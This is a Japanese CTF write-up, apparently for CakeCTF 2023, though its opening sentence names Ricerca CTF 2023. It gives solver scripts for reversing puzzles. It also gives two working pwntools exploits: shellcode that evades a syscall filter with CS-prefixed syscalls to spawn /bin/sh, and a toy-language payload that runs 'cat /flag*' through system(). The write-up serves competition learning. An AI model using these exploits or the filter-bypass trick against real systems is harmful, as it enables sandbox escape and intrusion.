CakeCTF 2023 writeup

2023/4/22に行なわれたRicerca CTF 2023にHackingForSushiで参加して、24位でした。

一人チームだし時間もあまりなかったのでrev問+変そうなやつ縛りで解きました。丁度よい難易度で解いていて楽しかったです。

解いた問題

nande

微妙に違う気がしつつも、とりあえず途中でflagが出たので適当に済ませています。

answer = [0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00]


in_ = [0] * 0x100
out_ = answer
for rnd in range(0x1234):
    in_[0xff] = out_[0xff] ^ 1
    for i in range(0xff-1, -1, -1):
        in_[i] = out_[i] ^ out_[i+1]
    out_ = in_

    bits = ''
    for x in out_:
        bits += str(x)
    res = int(bits[::-1], 2).to_bytes(32, 'little')
    if b'CakeCTF' in res:
        print(res)

Cake Puzzle

左上が空白マスの15パズル。すぐに動かせそうなソルバは落ちてなさそうだったので手で解く用のコードを書きました。配列の要素を入れ替えるときの操作を書くのが面倒そうにも見えますが、GitHub Copilotが埋めてくれました。ありがたい。

import curses

M = [0x445856DB, 0x4C230304, 0x0022449F, 0x671A96B7, 0x6C5644F7, 0x7FF46287, 0x6EE9C829, 0x5CDA2E72, 0x00000000, 0x698E88C9, 0x33E65A4F, 0x50CC5C54, 0x1349831A, 0x53C88F74, 0x25858AB9, 0x72F976D8]

numbers = {}
for i, x in enumerate(sorted(M)):
    numbers[x] = i

x = 0
y = 2
moves = []
screen = curses.initscr()


def print_map():
    for i, x in enumerate(M):
        screen.addstr('%2d ' % numbers[x])
        if i > 0 and (i + 1) % 4 == 0:
            screen.addstr('\n')
    screen.refresh()


def move():
    global x, y
    c = screen.getch()
    screen.erase()
    if c == ord('k'):
        if y <= 0:
            return False

        [M[4*y+x], M[4*(y-1)+x]] = [M[4*(y-1)+x], M[4*y+x]]
        y -= 1
        moves.append('U')
        return True
    elif c == ord('j'):
        if y >= 3:
            return False

        [M[4*y+x], M[4*(y+1)+x]] = [M[4*(y+1)+x], M[4*y+x]]
        y += 1
        moves.append('D')
        return True
    elif c == ord('h'):
        if x <= 0:
            return False

        [M[4*y+x], M[4*y+x-1]] = [M[4*y+x-1], M[4*y+x]]
        x -= 1
        moves.append('L')
        return True
    elif c == ord('l'):
        if x >= 3:
            return False

        [M[4*y+x], M[4*y+x+1]] = [M[4*y+x+1], M[4*y+x]]
        x += 1
        moves.append('R')
        return True

    return False


while True:
    if M == sorted(M):
        break

    print_map()
    move()

curses.endwin()
print(''.join(moves))

最終的な手で出した答え:

RRLUULDRRULDRULDLURLDDRLDRULDRLURDURDLURRDLURULLDDRULUURDLURDLRDLLUURLDRLUDDRRUULLDRRLLDRUULDDDRUUDDLURULDDRULURLDRLURLDURDLURDULDDRUUULRRRDLLDRRULURDULLDDRRULDURULLDDRULDRUULDDRULDRLLURRRLULLDRRULLDRRULDLURLDRULDRRULDDRUULDLDRRULURLLDRLURRRLLDRLLURLDRRULDLURDRRULLDRRULLL

unicomp

first bloodでした。syscall numberがチェックされるのは\x0f\x05の命令のみなので、cs syscallのようなCS prefixをつけた命令を使うことで任意のsyscallを実行できるようになります。ただし、syscall自体はpythonlibc.syscall経由で呼ばれるのでメモリマップ自体は別で、よくあるスタック上に文字列を置いて/bin/shを実行するようなシェルコードはそのままは動きません。mmapでメモリを確保しておいて、そこにreadで/bin/sh\0を書き込んでおき、execveを実行するようにしました。

import binascii

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = 'others.2023.cakectf.com 10001'.split()
    port = int(port)
else:
    host, port = '127.0.0.1 4000'.split()
    port = int(port)

sc = asm('''
    mov rdi, 0x10000000
    mov rsi, 0x10000
    mov rdx, 7
    mov r10, 0x22
    mov r8, -1
    mov r9, 0
    mov rax, 0x09 # mmap
    cs syscall
    mov rdi, 0
    mov rsi, 0x10000000
    mov rdx, 0x1000
    mov rax, 0
    cs syscall
    xor rax,rax
    push rax
    pop rsi
    push rax
    pop rdx
    mov rdi, 0x10000000
    mov al,0x3b
    cs syscall
''')
print(disasm(sc))
with open('sc', 'wb') as f:
    f.write(binascii.hexlify(sc))
with open('sc.bin', 'wb') as f:
    f.write(sc)

s = remote(host, port)
s.recvuntil(b'shellcode: ')
s.send(binascii.hexlify(sc) + b'\n')

time.sleep(0.1)
s.send('/bin/sh\0')

s.interactive('')

cranelift

toy languageは文字列を渡すことはできなさそうなので(たぶん)、方針としてはunicompの解き方と似たように、mmapしてそれに対してmemsetで1文字ずつ書き込み、systemを実行するようにしました。

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = 'others.2023.cakectf.com 10000'.split()
    port = int(port)
else:
    host, port = '127.0.0.1 4000'.split()
    port = int(port)

s = remote(host, port)

s.recvuntil(b'\n')

memset = ''
cmd = 'cat /flag*\0'
for i, c in enumerate(cmd):
    memset += f'memset({65536+i}, {ord(c)}, 1)\n'

src = f'''
fn main() -> (r) {{
    mmap(65536, 100, 7, 34, 0, 0)
    {memset.strip()}
    system(65536)
}}
__EOF__
'''.lstrip()
print(src)
with open('src', 'w') as f:
    f.write(src)
s.send(src.encode())

s.interactive('')

imgchk

大まかな処理としては、480x20の画像を読み込んで、3バイトずつMD5の計算して結果を比較しています。適当に試していると、3バイトずつで取ってきているのは縦の20ピクセル分(8+8+4)ずつだと分かるのであとは画像に戻すだけです。

import hashlib

from PIL import Image

answer = [0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5037, 0x5048, 0x5059, 0x5059, 0x5048, 0x5037, 0x506A, 0x5004, 0x5004, 0x507B, 0x508C, 0x509D, 0x50AE, 0x50BF, 0x50D0, 0x50E1, 0x50F2, 0x5103, 0x5004, 0x5004, 0x5004, 0x5004, 0x5114, 0x5125, 0x5136, 0x5147, 0x5158, 0x5169, 0x517A, 0x518B, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5037, 0x5048, 0x5059, 0x5059, 0x5048, 0x5037, 0x506A, 0x5004, 0x5004, 0x51F1, 0x51F1, 0x51F1, 0x51F1, 0x5202, 0x5202, 0x51F1, 0x51F1, 0x51F1, 0x51F1, 0x5004, 0x5004, 0x5202, 0x5202, 0x5213, 0x5213, 0x5213, 0x5213, 0x5213, 0x51F1, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5224, 0x5125, 0x5235, 0x5246, 0x5257, 0x5268, 0x5004, 0x5004, 0x5004, 0x5279, 0x5279, 0x5279, 0x528A, 0x5202, 0x529B, 0x52AC, 0x52AC, 0x52AC, 0x52BD, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5004, 0x5466, 0x5477, 0x5488, 0x5499, 0x5499, 0x5488, 0x54AA, 0x54BB, 0x5004, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x51F1, 0x51F1, 0x5565, 0x5576, 0x5587, 0x5598, 0x55A9, 0x55BA, 0x55CB, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x55DC, 0x52F0, 0x518B, 0x518B, 0x52F0, 0x55DC, 0x55ED, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5004, 0x55FE, 0x560F, 0x5620, 0x5631, 0x5642, 0x5653, 0x5488, 0x51AD, 0x519C, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5279, 0x5279, 0x5279, 0x528A, 0x5202, 0x529B, 0x52AC, 0x52AC, 0x52AC, 0x52BD, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x5004, 0x5664, 0x5675, 0x5521, 0x5686, 0x5697, 0x56A8, 0x56B9, 0x56CA, 0x56DB, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x5004, 0x56EC, 0x56EC, 0x56FD, 0x5202, 0x5202, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5004, 0x5268, 0x570E, 0x571F, 0x5730, 0x5741, 0x5224, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004]

hash = {}
src = open('imgchk', 'rb').read()
for i in range(0, 0x5752-0x5004, 17):
    addr = 0x5004+i
    hash[addr] = src[addr:addr+16]

def bruteforce():
    hash_table = {}
    for i in range(0xff+1):
        for j in range(0xff+1):
            for k in range(0xf+1):
                h = hashlib.md5()
                h.update(bytes([i, j, k]))
                hash_table[h.digest()] = [i, j, k]
    result = {}
    for h in hash.values():
        result[h] = hash_table[h]
    return result

hash_to_bytes = bruteforce()

im = Image.new('1', (480, 20), )

i = 0
for a in answer:
    for k, b in enumerate(hash_to_bytes[hash[a]]):
        for j in range(8 if k < 2 else 4):
            x = i // 20
            y = i % 20
            if x == 480:
                break
            im.putpixel((x, y), (b >> j) & 1)
            i += 1

im.save('flag.png')

出力される画像:

Gaming VM

"q3vm disassembler"で検索すると https://github.com/brugal/q3vm があったのでこれで読みます。一部のsyscallはunknown functionと表示されますが、これはオリジナル版にはなく(?)、バイナリを読むとmemsetやreadする実装に対応するのが分かります。

とりあえずgdbで動かしながら適当なVMの命令に相当するところでbreakしつつ値を見てみるのを試していたところ、goto_OP_EQでほぼflagの比較がされていそうなことに気づきました。ブルートフォースするスクリプトを書きつつ、途中で調整が必要なところは面倒になってgdbを動かしつつ手で求めました。

import gdb

e = lambda c: gdb.execute(c, to_string=True)
p = lambda x: gdb.parse_and_eval(x)

e('set pagination off')
e('file ./q3vm')
e('b *0x0000555555557364') # goto_OP_EQ

flag = [chr(0x20+i) for i in range(33)]
flag = list('CakeCTF{A_s1mpl3_VM_wr1tt3n_f0r_Quake_III}') # 手で埋めていく

def write_flag():
    with open('in', 'w') as f:
        f.write('CakeCTF{' + ''.join(flag).ljust(33, '\0') + '}\n')

def brute():
    write_flag()
    e('r flag.qvm < in')
    e('c 0x2a')
    e('c 2')

    while True:
        ecx = p('$ecx')
        eax = p('$eax')
        print(ecx, eax)
        if ecx != eax:
            idx = flag.index(chr(eax ^ 7))
            print(idx)
            flag[idx] = chr(ecx ^ 7)
            print(''.join(flag))
            write_flag()
            return
        e('c')

for i in range(33):
    brute()

Word Tower

適当にメモリ上を検索すると、出題される単語の一覧が見えるのでそこからソルバが書けます。ステージ2まではソルバと手で解けますが、ステージ3は制限時間が30秒なのでさすがにそのままでは無理です。

from typing import Optional

# having_letters, word_n = 'bbroeaitxfgitr', 3
# having_letters, word_n = 'kafhaaaleoercpspsghr', 4
having_letters, word_n = 'earrabarkwtpdiaapdkoucsovhst', 5
having_letters = having_letters.lower()

words = open('words').read().splitlines()

search_candidates_memo = {}

def search_candidates(having_letters: str):
    if having_letters in search_candidates_memo:
        return search_candidates_memo[having_letters]

    candidates = []
    for word in words:
        word_letters = list(word)
        having_letters_list = list(having_letters)
        ok = True
        for wl in word_letters:
            if wl not in having_letters_list:
                ok = False
                break
            del having_letters_list[having_letters_list.index(wl)]
        if ok:
            candidates.append(word)

    search_candidates_memo[having_letters] = candidates

    return candidates

def dfs(having_letters: str, word_n: int, result: Optional[list[str]] = None):
    if result is None:
        result = []

    if word_n == 0 and len(having_letters) == 0:
        return result

    candidates = search_candidates(having_letters)
    for candidate in candidates:
        having_letters_list = list(having_letters)
        for cl in candidate:
            del having_letters_list[having_letters_list.index(cl)]
        result = dfs(''.join(having_letters_list), word_n - 1)
        if result is not None:
            return result + [candidate]

    return None

print(dfs(having_letters, word_n))

ステージごとの制限時間を書き換えられるならステージ3でも手で解けるはず、という気持ちでCheat Engineを使ってメモリ上にその値がないか検索してみます。制限時間はステージ1では180秒、ステージ2では120秒なので、その値のように変化するメモリがあればあやしいはずです。ちょうどそのようなメモリがあったので、ステージ3のスタート前に値を書き換えたところ、無事制限時間を延ばすことができました(値が大きすぎるとチート検知されます)。あとはソルバの結果を手で入力して終わりです。

実際に書き換えているところ。これくらいだとチート検知される。